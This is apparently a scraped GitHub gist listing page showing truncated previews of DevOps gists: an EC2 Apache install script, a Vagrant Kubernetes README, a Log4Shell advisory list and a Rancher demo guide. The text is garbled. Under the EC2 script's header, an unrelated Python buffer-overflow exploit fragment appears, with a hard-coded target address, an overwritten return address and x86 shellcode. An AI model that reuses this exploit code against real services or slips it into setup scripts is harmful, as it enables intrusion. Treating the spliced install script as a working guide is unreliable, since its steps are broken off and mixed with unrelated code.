Skip to content

Instantly share code, notes, and snippets.

@leaderdevops
leaderdevops / ec2-apache.sh
Created September 27, 2020 05:47 — forked from herrera-ignacio/ec2-apache.sh
EC2 User data: install Apache web server for Amazon Linux 2 Image
#!/bin/bash
########################################
##### USE THIS WITH AMAZON LINUX 2 #####
########################################
# get admin privileges
sudo su
# install httpd (Linux 2 version)
import httplib
host = "172.16.89.128"
port = 8000
buffer_addr = "\x98\xF1\xFF\xBF" # 0xbffff198
payload = """
\xEB\x19\x31\xC0\x31\xDB\x31\xD2\x31\xC9\xB0\x04\xB3
\x01\x59\xB2\x07\xCD\x80\x31\xC0\xB0\x01\x31\xDB\xCD
\x80\xE8\xE2\xFF\xFF\xFF\x68\x61\x63\x6B\x65\x64\x21
@leaderdevops
leaderdevops / README.md
Created June 28, 2021 00:25 — forked from danielepolencic/README.md
Create 3 nodes Kubernetes cluster locally with Vagrant

3 Virtual Machines Kubernetes cluster

Dependencies

You should install VirtualBox and Vagrant before you start.

Creating the cluster

You should create a Vagrantfile in an empty directory with the following content:

@leaderdevops
leaderdevops / 20211210-TLP-WHITE_LOG4J.md
Created December 13, 2021 15:15 — forked from SwitHak/20211210-TLP-WHITE_LOG4J.md
BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 2204 UTC

Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

  • If you want to add a link, comment or send it to me
  • Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great ressources

Rancher & NGINX Ingress Controller - Demo

Demo Prep

To prep for the demo environment begin by logging into the "dev" system using the Console (Access > Console)

  • Open the Firefox browser
  • Click on the link for the Rancher manager if it does not pop up as the default site.
  • Log in using the username and password from the Documentation tab in UDF, this should be pre-populated.
  • Open a Visual Studio Code (VSCode) instance

Open a series of terminal windows using Visual Studio Code (VSCode). From the right set of controls, you should have five terminal sessions total as seen below.